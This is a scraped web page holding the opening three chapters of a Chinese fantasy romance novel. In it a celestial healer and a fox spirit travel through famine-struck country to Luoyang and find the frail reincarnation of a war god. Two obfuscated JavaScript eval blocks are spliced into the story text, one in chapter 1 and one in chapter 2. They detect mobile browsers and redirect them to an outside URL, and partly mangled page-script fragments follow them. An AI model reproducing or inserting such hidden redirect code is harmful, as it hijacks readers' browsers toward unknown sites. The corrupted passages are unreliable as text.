《上穷青落》 1. 金风玉露(一) 碧空万里,一片澄明。 六月正午骄阳之下,大道如同被烈火烤过一般,透过蒸腾的热气看去,将要枯死的草木似乎在摇晃。 阿昭趴在路边,使劲捏着虎口,好让自己保持清醒。他死死盯着官道,不知自己还能坚持多久,但是除了等待,他不知还能做什么。 天太热了,连年兵祸,民不聊生,上苍也看不下去,要降下惩罚,杀死这些自相残杀的凡人。 有人路过是侥幸,路过的人愿意施以援手则是奢望,阿昭等得心焦,却欲哭无泪——身体好像没有多余的水供他排解郁结。 他擦了擦汗,再次抬头看向官道,蓦然发现远处出现了一个黑点。许是太过盼望,阿昭一时竟不敢相信,他连忙揉了揉眼睛看过去,渐渐地,黑点近了,露出马车的模样,赶车声也遥遥传来,阿昭顿时振奋精神。 终于有人来了! —————— 素问端坐在马车里,目光落在简陋的布帘上,心思飞到了九霄云外—— 战神叶神尊因伤下凡,借转世历劫来恢复元神,那些伤会在轮回路上转变为凡人的先天不足,此时医治便可事半功倍。 素问出身特殊,又师承医圣瑶山真君,顺理成章被神界选中为叶神尊转世之身治伤,只要一切顺利,叶神尊归位之日,便是素问跻身神位之时。 天神制六道法则,掌七界生灵,虽比仙界少了几分自由逍遥,但却法力无边,与天地同寿,仙界不乏有动心者,瑶山真君便在其中——他不仅自身由仙成神,还希望自己唯一的徒弟也能走上这条路。不过此行到底前途难测,瑶山真君在临行前殷殷相嘱,说了好些话,归根结底,对素问的要求只有四个字:勿动凡心。 太上忘情,无情才能公允,这是众神行事的第一道准则。 “成神成圣……”其实对素问来说并不重要,她之所以现在在这里,与其说是为了晋位成神,不如说是为了师父瑶山真君。 以及记忆中那个模糊的身影。 素问摸向发间木簪,她的法力已被压制到金丹之下,只有司命星君所赠木簪护身,这些时日虽然已经适应了凡人的生活,但到底心里没底,眼看着快到目的地,她不禁低声喃喃道:“终于到了洛阳,此一去,也不知会是什么结果。” 明月奴听到素问的话,笑道:“阿姐对自己的医术没信心?” “不如说是对人心,江月见说人心很复杂,人世间更是难以堪破。” 明月奴道:“你又不是尼姑,何必看破红尘?” “也是。”素问笑道,“连人都还没见到,想那么多做什么。” “快了。”明月奴一挥马鞭,“前方便是洛阳城!” 素问掀开窗帘向外看,入目处赤地千里,诚如司命星君所言:“仙子此番所往,乃是皇纲废绝、四海渊黑之所在。人间妖孽横生、群魔乱舞,仙道俱隐于山野,若贸然使用仙术,恐惹来妖魔觊觎,何况仙子以医入道,并不善于与人对抗,因此我先将你的境界从天仙压制到人仙,再寻来一个小妖助仙子一臂之力,届时你们一道,以凡间药圣传人的身份进洛阳城,尔后行医为善,也是功德一桩——不过切记,莫要泄露叶神尊的身份,给叶神尊之外的人看病,只能用凡间草药,不可动仙法,以免坏了轮回的秩序。” 明月奴便是那个小妖,一只生于昆仑山下的狐狸精。 素问正想着,忽然身子往前一个趔趄,紧接着便听明月奴在外呵斥:“哪里来的野猴子?不要命了!” 素问拂开帘子看出去,只见道旁站着好几个衣衫褴褛的人,他们瘦得皮包骨头,看着马车眼冒绿光。 那个被明月奴呵斥的孩子飞快离开马,躲到了人群后。 明月奴在一旁低声道:“瞧,有几个要病死的,有几个要饿死的,拦车想要讨口饭——不过我们没有吃的,即便有,我也认为不能给。这会儿饿习惯了倒还好,要是让他们开了胃口,说不定将我们的马都给吃了。”明月奴顿了顿,又补充道,“如今吃人的也不少,看我们这么细皮嫩肉的,吃了我们也说不定,所以还是别管了。” 一路走来,这样的情形并不少见,连年军镇割据混战,百姓遭灾,说是饿殍满地、浮尸遍野也不为过。据说人间都城是洛阳,到了附近,确实情形好些,不想临到城外,还是被人拦了下来。 素问轻叹一声,按照之前的处理方法,将刻着“药”字的木牌挂了出去,道:“有你在,这些都不怕,就怕误了进城的时辰。” 司命星君说过,叶神尊转世会在今日午时遇见命定女子,但紧接着他就会面临一劫,此劫应对不慎,可能转世之身便就此死去,休养元神的任务自然失败,而战神回归神位必定有大动静,往后要想再悄无声息地下凡,就没那么容易了。 司命又说,为了防止扰乱叶神尊转世和命定之人的红线姻缘,素问最好在两人初相识之后出现。 在素问的计划中,她该早几日来到洛阳城,尔后在医庐中闭门不出,直到今日午时才出现,因此这一路行来,她并不匆忙,不料中途突然有了一件急事,耽误了好几日,尔后她与明月奴紧赶慢赶,总算现在快到洛阳了。 眼下不去多管闲事才是上策。 素问看着这些人病弱的身子,又看了看日头,拒绝的话实在难说出来,便拍了拍明月奴,示意他让开,自己下了马车。 明月奴明白素问的意思,指了指马车上挂着的“药”字木牌,道:“先说好,马车上没吃的,我阿姐是药圣传人,如果要吃的,那就省点力气,如果要看病——”明月奴顿住,往人群里扫了几眼,入目不是真病了就是饿得快病了,让他一时倒不知该指谁先来。 明月奴所言非虚,他修为虽不高,但有心入道,早已摒弃口腹之欲,修得了辟谷术。素问是书灵之身,自然更不用食物果腹。 那些人看马车里空空荡荡,大失所望,对明月奴后面的话一点没有兴趣——吃都吃不饱,还有钱吃药?只是刚才明月奴下马车时故意露了一手,他们也不敢冒然上前,对峙片刻后,一个人带头离开,余下的人便纷纷散了,回到了树荫下。 站在最后的阿昭这才露出身影,他生得头大身小,瘦瘦黑黑,看身形似是五六岁,但是眨巴着的眼睛看上去已然懂事,显然真实年龄要更大些。 “刚才是你拦车?”素问问罢,见小童呆呆点头,便走近俯身,温声道,“你不走,是想看病么?哪里不舒服呀?” 天气太热,阿昭是赤着身子跑来的,这会儿看见素问,眼睛不由瞪得大大的,嘴巴微张,只呆呆看着素问不说话。 明月奴拿出油纸伞,用伞尖戳了戳小童,道:“方才胆大得很,差点叫我轧到你,怎么现在说不出话了?” 小童眨了眨眼,忽然意识到什么,连忙到道旁扯了几片树叶企图遮住身体,尔后看向这边,一时踌躇不已,支支吾吾道:“我想……想请姐姐救救阿娘,阿娘又病又饿,快不行了。” 素问:“你阿娘在哪?” 阿昭见她答应,忙道:“姐姐跟我来!” 明月奴想提醒素问防止有诈,只是来不及开口,素问已经跟着小童离去,他只能驱着马车跟上。 阿昭带着两人离了官道,行到一个岔路上,堪堪能让马车经过,马儿本不愿走这样的歪路,无奈狐狸虽小,也是吃肉的,它被天性所压制,只得乖乖跟着。 一行人走了一会儿,前方出现一些破败的窝棚,阿昭登时加快脚步,跑到一个敞口窝棚外蹲下了身子。 素问上前,见里面躺着一个形容枯槁的妇人,想来就是小童的母亲了。 “阿娘,是药圣谷的医女姐姐!”阿昭显然有些见识,知道药圣谷的招牌,他欣喜若狂地说完,却见母亲抱着手臂往草堆里缩了缩,不禁一怔。 素问伸出的手悬在半空,她有些奇怪:“为何不愿让我诊脉?” 妇人道:“不必诊,便是诊出了毛病,我也没钱买药吃。” 素问看向阿昭,他连忙偷偷摆手,素问便道:“你不必担心,我身上没吃的,但药丸却不少,赠与你便是。” 妇人摇头:“今次治好了,改日又病,岂不白费了小娘子的药?” “我们此去洛阳城是打算长住,会在城中开设医庐,以后你若是身体不适,可以随时来城中寻我。” 妇人有些动容,却依旧摇头:“小娘子有所不知,我家本来也住在洛阳城中,境况虽非大富大贵,倒也吃穿不愁,可逢此乱世,人伦纲常尽灭,做人不如做鬼,便是小娘子时时看顾我,也指不定哪日便遭了难。我早已是活死人了,只因阿昭年纪尚小,因此吊着一口气不肯走罢了。” 素问闻言,有些不解:“既如此,你不是应该为了阿昭将身子养好么?” 妇人淡淡一笑:“若我自己去寻死,是对不起阿昭,可若是病死了,那就是天命,要怪得怪老天,就怪不得我了。” 阿昭呆住:“阿娘……” 明月奴没了耐心,插话道:“这话可是你说的,是你自己不要人救,不是我们不帮你——阿姐,我们走罢,不然赶不及进城了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15061021|163002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 素问也知道不能耽搁太久,但她同样不能理解为何自己说了能治好眼前这个人,她却偏偏不要自己医治。 “阿姐?”明月奴扯了扯素问的衣袖。 素问再次伸手,妇人仍旧避开,她只得起身,待要离开,却看见阿昭绝望的目光,素问的脚步不由顿住。片刻后,她还是软下心来,问道:“我还能为你们做些什么?” 妇人似乎一直等着这句话,立刻道:“小娘子要开医庐,想必需要下人帮工,若是能带阿昭走,我便是立刻死了,也能瞑目。” 医庐收药童也在理,素问询问地看向阿昭。 阿昭方才一直沉默,感觉到素问的目光,他抬起头,露出坚韧的笑意:“姐姐,我要留下照顾阿娘。” “你!你这孩子!”妇人挣扎起身想要打阿昭。 素问拦住她,劝道:“你叫他现在抛下你,可想过往后的日子他该如何自处?” 妇人愣住,过了片刻,泪如雨下:“昭儿……为娘已经尽力了,为何你不愿让我……” 素问看妇人如此痛苦,忍不住道:“对你来说,活着当真如此艰难么?可是一路走来,我见许多人费尽心思想求得一线生机。” “心如死灰,活一日便如同拿利刀在心上多凌迟几分。” 素问道:“可是死了也不见得会好。” 妇人抿了抿干裂的唇,甚是笃定地说道:“我听说有转世,来世总不会比如今更差了。” 素问摇了摇头:“若众生都如你一般,只要觉得不如意便要去下一世,那又有谁来为了更好的将来而努力呢?” “会有人的。”妇人喃喃,“不管多难,总有人会坚持,只不过不是我。” 素问默然。 人间疾苦,非一言以能蔽之。 妇人话已至此,素问不好再劝,便道:“今日我不带他走,但我答应你,以后只要阿昭来找我,我一定会留下他。” 妇人看向阿昭,见他岿然不动,今天肯定是不会改变主意了,只得道:“多谢小娘子。” 明月奴催道:“阿姐,我们该走了。” 妇人见状,问道:“二位是赶着进洛阳城么?” 明月奴道:“不错,可不能误了时机。” “我从小在这里长大,知道一条近路。”妇人说罢,撑着身子坐起,指着东南面,道,“从这条路一直往前,第一个三岔路口左转,再过一个桥,继续走几里路便可重新入官道,会比返回官道上近很多。” 素问喜道:“多谢,如此我们可放心了。” 妇人看着两人,犹豫一瞬,还是道:“你们姐弟二人相貌出众,若是这样进城,我担心会被歹人记挂,不如用面巾蒙住脸,最好戴上帷帽,才更稳妥些。” 其实一路走来,歹人并不少见,好在都被明月奴轻松打发了,素问不甚在意,不过也不愿拂了别人的好心,便点了点头,她瞥了眼满是破洞的棚顶,从明月奴手中拿过油纸伞,递给阿昭,道:“这把伞就当做是信物,等你来洛阳时,就带着它去洛水南岸惠训坊,找……”素问其实并没有决定好医庐的名字,但眼下须得留个能找得到人的去处,她四顾看去,心中有了感触,继续道,“安平,安平医庐,我就在那里。” 阿昭连连点头。 话不再多,两厢告别之后,素问敏捷地跳上马车,明月奴则坐到车辕上,不用挥鞭子,马儿便自觉地听从号令往前。他们沿着阿昭母亲指的线路走,一路上还加快了速度,很快回到了大道上,洛阳城安喜门出现在视野里。 “阿姐为何要答应收留那个孩子?我们此去洛阳是开医馆,又不是善堂,若是人人都将孩子托给你怎么办?”明月奴抱着手臂,跟在入城的队伍后面,轻声抱怨着。 “真有那么多,开善堂也可以。”素问仍旧在为妇人的选择而茫然,顿了片刻,才想起来提醒道,“明月奴,你随我来人间是为了积攒功德,该多行善事。” 明月奴愣了愣,他回想起司命星君托梦时说的话,怎么也找不到其中有“积攒功德”或者“多行善事”的话,司命星君只说让他保护好素问,待到水到渠成,他自然会有所悟。 明月奴便道:“阿姐,其实……” 素问等了片刻,没等来下文,掀开车帘,见明月奴看着前方,她顺着看过去,只见一个容颜明朗的蓝衫青年在城门边冲他们挥着手。 “是星君给这个身份安排的药圣谷师兄,图南。”素问冲对方笑了笑,然后抬头看向越来越近的城门,松了口气,“总算是到了。” 2. 金风玉露(二) 被图南这么一打岔,明月奴索性将话咽进了肚子里。素问注意力被快步走来的“师兄”吸引了,也没再追问。 图南来到马车边,笑道:“可算将你们等来了,不是说好前两日便到么?如今兵荒马乱的,我担心你们路上遇到危险,这几日都没能睡好!” 素问来不及做介绍,便被灌了一耳朵话,一时有些无措,顿了一顿,才问道:“那我给师兄开两副安神的方子?” 图南眉头一挑,当即失笑。 素问回神,也不禁笑了,她待要下车见礼,图南止住她,道:“不讲这些虚礼,先带你去医庐。” “好。”素问应声。 说话间,马车已经来到守卫跟前,那两个守卫看到素问和明月奴的相貌,对视一眼,露出促狭的笑意。 明月奴似是不知险恶一般,眯着狐狸眼跟着笑。 图南眉头拧起,上前一步,将自己的鱼符示出,道:“我在太医署当值,这两位是我的师弟师妹——哦,我们都是药圣谷的弟子。” 守卫这才注意到马车上的挂牌,神情有些不以为然,不过还是勉强卖了图南这个面子,查完过所后就爽快放行了。 进城之后,图南坐到马车另一边,向明月奴道:“走罢,我来指路。” 明月奴探寻地看过来。 素问看了看天,暗自估算时辰,若是赶快些,先去惠训坊也无不可,她点了点头。 明月奴便驱车往前去。 图南笑着靠在门边,隔着帘子道:“先前师父来信中只说了师妹的名字,方才瞥了一眼过所,师妹姓叶?” 素问本没有姓,这是司命星君为她安排的身份,她回道:“是。” 图南转向明月奴:“小兄弟姓明?” 明月奴鼻子出气,“嗯”了一声。 图南不以为意地笑了笑,自我介绍道:“鄙姓图,名南,字培风。” 素问问道:“逍遥游?” 图南:“不错,叶师妹也读《庄子》?” “偶尔看过几篇。” 图南看素问对此兴致缺缺,便转了话题:“师妹为何独自来洛阳开医馆?” “听从师父安排。”素问这句也是实话,她本身对成神成仙没有想法,瑶山真君在仙界时,拼命用灵药法宝将她灌到了金仙的修为,后来瑶山真君去了神界,又放心不下留素问一人在仙界,时时想着找机会引她飞升。 图南来洛阳也是听从谷主安排,听到素问的回答,没多想,继续问道:“叶师妹是药圣谷弟子,怎么从前在谷里从没见过你?” 素问正要闭目养神,闻言重新睁开眼,讲出早已准备好的说辞:“以前在后山读书,所以不曾相见。” 图南顺势问道:“你在后山呆了多少年?” “从出生便在那里了,一共住了十九年,去年刚出来。” “方才看师妹,我一会儿觉得是十几岁,一会儿又觉得已经过了二十,原来刚刚好是双十年华。” 明月奴皱眉瞥了图南一眼,不明白这个人间太医话怎么这么多,甚是婆妈。 那厢,图南还在继续:“师妹独自在后山,平时除了读医书,还做些什么呢?” 素问想到在仙界的日子,如实回答:“采药,炼药。” 以及为打架归来的江月见治伤。 图南等了片刻,没等到后续,不禁一愣:“没了?” 素问摇头,转而想到图南看不见,补了一句:“没了。” 很无聊,江月见一直如此形容她的生活,但素问一直这样过了许多年,并不觉得哪里不好。 图南沉默半晌,难免对这个小师妹心生怜爱,嘴上赞道:“师妹是痴人,数十载钻研其中,医术想来是远高于我。” 明月奴道:“这是自然。” 图南嘴角一抽,掩袖轻咳了一声,指着前方,道:“劳驾,右转。” 明月奴不解:“为何?走安喜门大道过洛河不是最方便么?” 图南解释:“我过来的时候,有个二世祖在那边吃茶,还是躲着点。” 明月奴问:“什么是二世祖?” “秦二世知道罢?如今称呼那些欺男霸女的败家……”说到这里,图南察觉到可能要祸从口出,连忙打住,简单道,“总之是个无法无天的混不吝,你们莫要去招惹便是。” “好罢。”明月奴顺从地转了方向,沿着北市北道往西行去。 马车顺利地穿过了北市,刚要过街,忽听一阵呼喝声从前面路口传来,紧接着一道天青色身影飞了出来,落在了马蹄子下。明月奴先前一直松松散散地让马儿自己走,这会儿连忙抓起缰绳,险而又险地勒住了马,这才不至于踏到那个人。 一群人紧跟着走了过来,有脸色灰败的百姓,也有趾高气昂的兵士,这其中有两人便显得十分受人瞩目—— 一个是被众人拥簇着前行的紫袍少年。 另一个则是隐在百姓中的黄衫少女。 少年跋扈,少女柔美。 图南看到那个少年,顿时心口一堵,低声道:“不巧,二世祖来了!” 洛阳城大名鼎鼎的混世魔王李重琲正叉着腰,准备亲自上去打两拳,以解此子“横刀夺爱”之恨,不想一抬头竟遇见了一个熟面孔,顿时更加精神抖擞:“呦!图太医!” 见地上的人暂时没有性命之忧,踏出半步的黄衫少女将脚收了回去。 图南挤出笑,跳下马车拱了拱手:“李衙内。” 李重琲咧嘴一笑,露出脸颊的酒窝,他本身相貌英俊,这一笑竟带着几许天真来——若是不知道他底细的人见了,一定会被李重琲这副模样蒙蔽。 图南在洛阳呆了八九年了,他是亲眼看着李重琲如何从一个寡言羞涩的毛头孩子变成如今的样子,自然明白这一笑意味着什么,脸不由得僵住。 李重琲磨着后槽牙,一边转着坏心思,一边将手按到身后护卫腰间的刀上。 明月奴没耐性看他们打机锋,他吹了一声哨,要马儿掉头离开,没想到身后也遇到了阻力——方才在城门遇见的守卫不知何时跟了上来,两人一个用刀抵着马车,一个小跑到李重琲身边,向他耳语了几句。 素问和明月奴轻而易举地听到了自己的名字,明月奴握紧了拳,素问想了想,取出面纱蒙住了脸。 果然,李重琲听完,注意力从图南身上挪开,先看了明月奴一眼,见他男生女相,容貌艳丽,心道守卫所言不虚,然后将目光投向了随风微微飘动的马车门帘。 素问扶住窗沿,透过门帘的缝隙看着外面,刚好能看到地上那人手上的血迹,她闭目静听,发现此人脉搏羸弱,似有不足之症,身上有不少击打的伤痕,其中以一记窝心脚最为厉害,若是不及时救治,恐怕会送了性命。 “里面是医女?”李重琲问。 素问睁开眼,一颗护心丹滑到她的手心。 城门守卫有些惊讶,他方才大力称赞了那叶素问的容貌,但是李重琲却只注意到这是一个来自药圣谷的医女。守卫觉得有些不妙,小步后退,想要离开这个混世魔王的视野。 李重琲很是警觉,立刻目光扫过去,冷笑一声,紧接着便踹来一脚:“你算什么东西?医女姐姐岂能容你亵渎?” 踹完守卫,李重琲再次看向马车,笑嘻嘻开口:“马车里果真是医女姐姐么?不如下来见一面?” 明月奴黑着脸,若不是素问示意,他早已施展妖术了。 马车里毫无动静,李重琲脸上的笑越来越淡,过了片刻,他猛然拔出护卫的刀,踱步到伤者身边,双手握住刀柄,将刀尖对准那人,目光却一直粘在车帘上:“医者仁心,这里有个现成的伤患,小娘子既然挂着药圣谷的牌子,不下来救治么?” 如果素问拒绝,图南毫不怀疑那把刀要落下去,他连忙道:“我是太医,让我……” “让医女来。”李重琲目光炯炯,“我长这么大,还没见过会治病的小娘子呢,莫不是假的?” 明月奴怒起:“你……” 一只纤细素手从车中伸出,按在了明月奴肩上,紧接着响起一个清冷的女声:“明月奴,你先离开,这里有我。” “阿姐?”明月奴惊讶回头,小声提醒道,“神尊转世……” “你沿着洛河找,记住我说过的特征,找到后带回医庐,如果他的伤势很重,你先施法护住他的心脉,我很快回来。”素问说着,拂起了帘子,两步踏出,利索地落在了地上。 众人见下来的小娘子年纪尚轻,身量欣长,除了腰间垂着一条小小的红毛尾巴做装饰,装扮可称得上十分朴素,然而即便一身粗布蓝裙,小娘子愣是穿出了出尘脱俗的感觉——当然,这极有可能归功于那半张脸——一对入鬓柳眉,一双微扬凤目,眸若清泉,肤光胜雪,只消下半张脸莫要丑得惊世骇俗,她必是个美人儿无疑。 好几人想到这场争端的起因,不由得将目光落回到黄衫少女身上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15061022|163002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 黄衫少女也在看素问,她闻到了淡淡的药香,知道今日不会出人命了,嘴角扬了扬,果断转身离去。 李重琲摸着下巴打量素问,绕着她走了两步,疑惑道:“你当真是医者?” 素问点头。 李重琲问:“小娘子芳龄?” 素问淡淡看了他一眼,没再回答,径直走到地上那人身边,先将护心丹送进了他的嘴里,等了一息的功夫,以手法辅佐化淤。 未几,那人缓缓吐出一口长气,呼吸变得均匀起来,眼皮也开始颤动。 李重琲惊愕地瞪大了眼睛,他自己下的手,自然知道轻重。 素问收回手,待要起身,又看到那人鼻下血污恐会影响呼吸,便用衣袖帮他擦了擦。 那人缓缓睁开眼,虽然神志不清,但眼眸很是黑亮。他一把抓住了素问的裙角,挣扎着抬头,想要看清恩人的模样,没等看清,又重重落了下去。 素问眼疾手快,伸手一托,避免此人再受伤害。 一块玉从那人颈上滑出,落在素问的手臂上。是成色很一般的青玉,形状却很少见——它被雕成一本打开的小书册模样。 素问目光落在玉坠上的一刹那,一股灵气如轻烟一般没入她的手心,素问呼吸顿时一滞。 李重琲见那人比自己还唐突,顿时不悦,撸起袖子便要动手,却听素问忽然道:“你姓方?” 那人茫然一瞬,然后微微点头。 “你……”素问语调都变了,“你叫什么?” 那人头一歪,又陷入了昏迷。 旁边有人小声道:“他是方……。” 李重琲吼道:“谁在多嘴?!” 素问没听见此人的名字,但也无所谓了,毕竟她本来就只知道战神叶光纪转世为方家子弟,并不知道他的名讳为何,若要确认身份,只消有这块玉坠便足矣——为了便于相认,司命星君特地取走素问身上一缕灵气,注入到一块书状的玉佩里。 这本是个老掉牙的英雄救美尔后美救英雄的话本:在原本的安排中,纨绔——照如今看,就是李衙内了——正在调戏良家女子,方郎君见义勇为,与李衙内据理力争,用病弱的身子扛住了一顿好打,最终那女子出面救下了方英雄,才有素问路过施药。 方英雄和美人儿就此结缘。 可如今却乱了套,命定的女子并未出现。 不对。 素问闭了闭眼,回想刚才在马车中所见,人群里那个黄衫少女恐怕就是命定女子!无论是从出身还是修为来讲,素问都不会为外界寒暑变化所动,但现在她感觉自己额上冒出了冷汗。 黄衫少女早已没了踪影,事情变得棘手起来。 偏偏方郎君昏迷了还没松手。 素问扯下那一片衣角,起身要回马车,临到车辕边,她蓦然想起方郎君还躺在地上,仍旧有被李衙内打死的风险,便摸了摸腰间的毛尾巴,尔后转身看向李衙内:“你要杀了他么?” “我又不是凶犯,怎么会杀人?”李重琲笑着靠近,将想挡在前面的图南推开,停在了素问面前,他垂头看着素问,问,“你刚才喂他吃了什么?” 素问:“护心丹。” “什么病都能治?” 素问认真道:“没有什么药可以包治百病,对症下药而已。” 李重琲又问:“你还有什么药?” 素问反问:“你要治什么病?” 李重琲立即否认:“我需要治什么?我好得很!” 素问点了点头,道:“那方郎君呢?你能放过他么?” 李重琲好声道:“自然可以,医女姐姐开口,在下无敢不从,我不但放过他,还要差人将他送回家好生将养。” 素问不明白这李衙内为何忽然态度大变,思及图南似乎很了解这个人,便向他投去了问询的目光。 图南暗自松了口气,笑道:“衙内这么说,方郎君必然没有大碍了。叶师妹,我们快些去药庐,初来乍到,还有不少东西要收拾呢!” 素问便一点头,转身上了马车。 明月奴这时气喘吁吁地回来,见道路忽然通了,不由得有些奇怪,那厢图南正在冲他招手,明月奴便坐到车辕上,驾着车离开这是非之地。等马车来到洛河边时,明月奴问道:“阿姐,神……我没找到那个人,怎么办?会不会误了时辰?” 车厢里沉默了好一会儿,才传来素问心塞的声音:“刚刚马车下躺着的就是。” 3. 金风玉露(三) 识海里空空荡荡,明明法诀已经发出去有一会儿了,司命星君却未能如约前来。素问又等了片刻,正要准备结束冥想时,忽然虚空中出现一道身影,定睛看去,正是司命星君,只是他发髻凌乱,衣物亦有多处破损,似乎刚经过一场恶战。 司命星君并不为这副尊容所困扰,依旧十分潇洒地飘然落地,一挥手间,整理好了仪容,问道:“怎么这么快就找我?出了什么事?” 素问没有立刻回答,先问道:“星君这是?” “哈哈,无事无事,一个道友寻我切磋,一时没注意分寸。”司命星君走到近前,掐指一算,道,“这个时候,你该见过叶神尊转世了罢?” “见过是见过,不过……”素问有些心虚,但还是如实将进城的经过说了一遍,尔后问道,“星君,这样是不是已经偏离了命本?” 司命星君笑道:“你说的这些,我已经知道了,不要紧。” “当真?” “完全不必放在心上。”司命星君回答地十分笃定,但见素问不说话,默了一瞬后,缓声解释,“方灵枢和石水玉都不是会一见钟情的人,此番原有英雄救美,再有美救英雄,能达成是锦上添花,达不成也无妨,他们已经相识,缘结于此,便足够了。” 素问这才放下心:“那就好。”转而又是一怔,“星君方才说,方灵枢和石水玉?” “怎么?”司命星君笑问,“叶神尊转世姓方名灵枢,石水玉是那个命定女子,有什么问题么?” “叶神尊为何叫灵枢?” “许是家中父母见他身体不好,因此以医书为名。” 素问皱起眉,狐疑地打量起司命星君,无奈后者笑得和煦而坦荡,让她看不出丝毫端倪,不由心道:莫非是我想多了?灵枢和素问同出自《黄帝内经》其实是巧合? 司命星君轻咳一声,转移了话题:“我和你说过,若是真的发生了偏差,会及时告诉你。” 素问回神,只得点头。 司命星君忽然向身后一看,仿佛哪里传来了只有他能察觉的动静。 素问:“怎么了?” 司命星君有些无奈:“看来那位道友还没过足瘾,我得想想怎么打发他走——仙子这里还有其他事么?” 素问摇头。 “那就先告辞了,凡间的事,还劳你多多费心。”司命星君说罢,也不等素问说话,一个转身便消失在识海。 淅淅沥沥的雨声渐渐变大,素问睁开眼,发现午后艳阳不知何时消失了,这会儿下起了雨来。她脚步轻快地来到窗边,趴着窗台看向外边。 积聚的雨水从檐瓦上滴落,打在水缸中,使得几朵睡莲随水波移动,好似入了活水里一般。窗边的凌霄花原本已经有些萎靡,这会儿经过雨水洗刷,绿叶舒展开来,鲜红的花冠也更显娇艳,一片盎然生机于窗外绽放,让素问心中些许茫然一扫而空,变得澄静。 这样的平静很快被一阵急促的脚步声打断,素问转头看去,发现是明月奴回来了,便起身下榻迎到堂屋。 明月奴甫一进门便道:“阿姐你猜方郎君叫什么?他竟然名作灵枢!” 素问点头:“方才我已经从星君那里知道了。他怎么样?平安回去了么?” “回去了,真没想到,李重琲竟然真的遵守诺言。” 素问:“看来图师兄所言不假,这个李衙内确实有求于我。” 方才离开北市时,图南简单道出李重琲的身份,又解释了自己为何笃定他会放人——李重琲因素问的医女身份而另眼相看,必然是因为家中有女眷想要看病,且是不便让外人知晓的病,图南怀疑是李重琲的母亲有妇科隐疾,不过图南也不便往深了猜,只表示即便李重琲当下还未表露此意,往后一定还会制造机会试探素问的医术,所以肯定不会做出阳奉阴违的事。 明月奴赞同地点了点头,想起一事,又叹道:“不过我等了许久,命定女子都没出现。” “石水玉。”素问道出此人姓名,帮着把伞收了,安抚道,“方才去问过星君,他说没事。” “是么?”明月奴站在门口,顿了片刻,忽地抖落身上的溅到的雨水,跟上素问的步伐,一同往后院去,一边走一边道,“那是不是说,星君写下的命本其实没那么重要?” “神尊转世的命本似乎与凡人有些不同,星君不曾细说,我也不好多问,只知道如果出现偏差,星君会告知我如何纠正。” 明月奴不解:“如果他铁了心要偏离,如何纠正得过来?星君不是说历劫就要保证八苦缺一不可么?仅凭我们两个,如何保证方灵枢会历经人世八苦?” “司命星君给他写过详尽的命本,不过转世之身受周围人命格影响,难免会有偏离,但应当不会太大,若是收不了场,星君也无法跟天帝交代。”素问敲了敲自己的木簪,道,“这就是星君留给我的通讯法宝,只要出现偏离,我们会立刻接到星君的通知,而且此物在危急时刻还能抵挡致命一击,无论是保护自己还是保护方灵枢,应当都绰绰有余。” 明月奴目光落在素问发间:“怪道阿姐总是戴着这支丑簪子。” 素问掩口轻咳一声,换了话题:“方才图师兄临走前问我借从谷里带来的书,我打算找一找,顺道整理从仙界带来的药材,你呢?” 明月奴:“我无事可做,便在阿姐身边修炼罢。” 素问点头:“也好,这些时日光顾着赶路,耽误你修行了,趁今日无事,刚好看看你的修为。” 两人穿过庭院,来到后堂中。 后堂本来是三间屋子并排,因素问和明月奴只有两人住在这里,图南便让人拆掉了一堵隔墙,将素问的房间扩大了一倍,两个人同住也毫不拥挤。 素问打量了一圈,让明月奴拆了床,置上白玉板,放置好了丹炉和蒲团。 明月奴看素问盘腿坐着,在须弥戒里翻找,目光又转向那半人高的丹炉,问道:“阿姐,你的丹炉怎么这么小?” “常见的丹药不需丹炉便可炼就,这炉子用来给方郎君配药,贵精不贵多。”素问找出石盆,塞在丹炉下。 明月奴摸了摸下巴:“也不知这位神尊是什么身份。” 素问取出好几本书堆在一旁,一边清点一边道:“星君不说,我们就不要问了,想来不是什么上神,否则也不会让我这样的小仙来治病。” “也不能这么说……”明月奴嘀咕着,但内心觉得此话在理,毕竟论起修为,药神可比一个医书化形的仙子要强得多。 素问抬眸看了明月奴一眼,见他百无聊赖,便道:“你入定罢。” “好。”明月奴依言,盘腿坐到榻上。 素问又翻腾了片刻,等闲下来时,无意间瞥到明月奴的手诀,不禁觉得有些奇怪——通常修士打坐都会使用子午诀,取镇惊辟邪之用,此时明月奴却双手紧扣,看着像是在结万神诀,但万神诀乃是右手在前,明月奴却是左手在前。 素问正要开口提醒,转而又担心此诀不能镇惊,怕吓到了他,便将话咽了回去,打算等明月奴醒来后再问他修炼的事。 外间雨势渐小,素问出门看去,只见长空万里,一片透亮。没过片刻,雨彻底停了下来,太阳再次出现,潮热的水汽没能带来清凉,反倒更让人觉得憋闷,这样的阵雨能解一时之渴,但对于田间庄稼来说,却毫无用处。 素问不禁想到了阿昭母子,他们身后影影绰绰站着这一路来所见的苦命人,在离开仙界时,她一度以为即便只用人间的草药,这世上仍旧没有她救不了的人。来到凡间后,她才明白,原来光学会治病并不见得能救人,这世间能夺人性命的事太多了。 乱世对于普通人来说太过痛苦,须得有一个天命之人来了结才是。叶神尊是战神,方灵枢作为他的转世,看上去却甚是羸弱,他这一生将如何走?他最终会承载前世的职责,成为人间的大将军么? 素问猜不透。 